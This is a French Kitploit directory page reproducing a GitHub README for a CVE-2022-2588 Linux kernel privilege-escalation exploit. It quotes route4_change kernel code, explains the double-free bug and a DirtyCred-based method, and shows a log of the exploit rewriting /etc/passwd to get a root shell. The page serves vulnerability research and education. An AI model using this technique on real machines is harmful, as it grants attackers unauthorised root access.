Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2022-2588 — Code d'exploitation pour CVE-2022-2588 | Kitploit
Outils/GitHubGitHub/igr1s-red/cve-2022-2588
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationApprentissage et ÉducationExploitation de Binaires
GitHubigr1s-red/cve-2022-2588

CVE-2022-2588

Code d'exploitation pour CVE-2022-2588

Voir le dépôt
14il y a 1 anPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2022-2588

Le correctif

Le bug est corrigé dans Linux v5.19 par ce commit.

Le bug

Le bug a été introduit dans Linux v3.17 par ce commit datant de 2014. Il nécessite User Namespaces pour être déclenché. Ce bug est très similaire à CVE-2021-3715, qui était causé par une opération incorrecte sur la liste chaînée de route4_filter. Plus de détails sur CVE-2021-3715 peuvent être trouvés dans la présentation BlackHat (page 16). Voici quelques brefs détails sur CVE-2022-2588.

Ce qui suit montre quelques extraits de code importants de la fonction route4_change pour comprendre CVE-2022-2588.

root@kitploit:~
static int route4_change(...)
{
    ...
    f = kzalloc(sizeof(struct route4_filter), GFP_KERNEL);      [0]
    ...
    // if there exists a filter with the same handler, copy some information
    if (fold) {                                                 [1]
        f->id = fold->id;
        f->iif = fold->iif;
        f->res = fold->res;
        f->handle = fold->handle;

        f->tp = fold->tp;
        f->bkt = fold->bkt;
        new = false;
    }

    // initialize the new filter
    err = route4_set_parms(net, tp, base, f, handle, head, tb,  [2]
                   tca[TCA_RATE], new, flags, extack);
    if (err < 0)
        goto errout;

    // insert the new filter to the list
    h = from_hash(f->handle >> 16);                             [3]
    fp = &f->bkt->ht[h];
    for (pfp = rtnl_dereference(*fp);
         (f1 = rtnl_dereference(*fp)) != NULL;
         fp = &f1->next)
        if (f->handle < f1->handle)
            break;

    tcf_block_netif_keep_dst(tp->chain->block);
    rcu_assign_pointer(f->next, f1);
    rcu_assign_pointer(*fp, f);

    // remove fold filter from the list if fold exists
    if (fold && fold->handle && f->handle != fold->handle) {    [4]
        th = to_hash(fold->handle);
        h = from_hash(fold->handle >> 16);
        b = rtnl_dereference(head->table[th]);
        if (b) {
            fp = &b->ht[h];
            for (pfp = rtnl_dereference(*fp); pfp;
                 fp = &pfp->next, pfp = rtnl_dereference(*fp)) {
                if (pfp == fold) {
                    rcu_assign_pointer(*fp, fold->next);  [5]// remove the old from the linked list
                    break;
                }
            }
        }
    }
...
    // free the fold filter if it exists                         [6]
    if (fold) {
        tcf_unbind_filter(tp, &fold->res);
        tcf_exts_get_net(&fold->exts);
        tcf_queue_work(&fold->rwork, route4_delete_filter_work);
    }

La fonction est implémentée pour initialiser/remplacer l'objet route4_filter. Le filtre utilise handle comme identifiant unique pour distinguer chaque filtre. S'il existe un handle qui a déjà été initialisé (c'est-à-dire que la variable fold n'est pas nulle), il mettra à jour le filtre en supprimant l'ancien filtre et en ajoutant un nouveau filtre, sinon, il ajoutera simplement un nouveau filtre.

En [0], le noyau alloue l'objet route4_filter. En [1], si fold n'est pas vide, ce qui signifie qu'il existe un filtre avec le même handle, il copie certaines informations dans le nouveau filtre et initialise le nouveau filtre en [2], puis insère le nouveau filtre dans la liste en [3]. Si l'ancien filtre existe, il est retiré de la liste en [4] et libéré en [6].

Le bug se produit en [4], qui vérifie s'il existe un ancien filtre à supprimer. La condition garantit que le handle ne soit pas nul et qu'il corresponde au handle du nouveau filtre. Cette condition n'est pas alignée avec la condition de libération du filtre en [6], qui vérifie seulement si l'ancien filtre existe. Par conséquent, si un utilisateur crée un filtre dont le handle est 0, puis déclenche son remplacement, le filtre ne sera pas délié en [4] mais sera libéré en [6] car leurs conditions ne sont pas les mêmes.

L'exploitation

Puisque ce bug est similaire à CVE-2021-3715, leurs primitives sont presque les mêmes. Les lecteurs peuvent se référer à la présentation BlackHat pour une description plus détaillée des primitives. Ce document montre l'exploitation avec l'idée de DirtyCred.

Étant donné que le fold libéré est toujours sur la liste chaînée après le déclenchement du bug, nous pouvons libérer le fold une nouvelle fois, ce qui finira par provoquer un double free sur l'objet route4_filer et sur l'objet route4_filter->exts.action si CONFIG_NET_CLS_ACT est activé.

Les codes d'exploitation utilisent ces deux capacités de double free pour démontrer l'attaque sur les credentials de tâche (utilisant un double free kmalloc-192, à venir) et les credentials de fichier ouvert (utilisant un double free kmalloc-256).

Attaquer le credential de fichier

Suivant l'idée de DirtyCred, le code d'exploitation échange le credential du fichier après les vérifications de permissions, afin que nous puissions écrire n'importe quel contenu dans des fichiers avec permission de lecture. Idéalement, le code pourrait fonctionner sur toutes les versions du noyau affectées par le bug. Il est à noter que pour garantir le fonctionnement du code sur les noyaux plus anciens où msg_msg est isolé dans kmalloc-rcl-*, l'exploitation utilise un objet de spray différent.

root@kitploit:~
[ghost@localhost ~]$ ./exploit
self path /home/ghost/./exploit
prepare done
Old limits -> soft limit= 14096          hard limit= 14096
starting exploit, num of cores: 32
defrag done
spray 256 done
freed the filter object
256 freed done
double free done
spraying files
found overlap, id : 257, 1061
start slow write
closed overlap
got cmd, start spraying /etc/passwd
spray done
write done, spent 1.621078 s
should be after the slow write
succeed
[ghost@localhost ~]$ head -n 4 /etc/passwd
user:$1$user$k8sntSoh7jhsc6lwspjsU.:0:0:/root/root:/bin/bash
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
[ghost@localhost ~]$ su user # the password is user
Password:
sh-4.4# id
uid=0(user) gid=0(root) groups=0(root)

L'exploit a été écrit pour fonctionner sur autant de distributions que possible. Il a été confirmé fonctionner sur :

  • Debian 11 (5.10.0-8-amd64 ~ xxx)

Vous voulez jouer l'exploit dans la VM ?

Veuillez vous connecter avec l'utilisateur low et le mot de passe low

Télécharger l’outil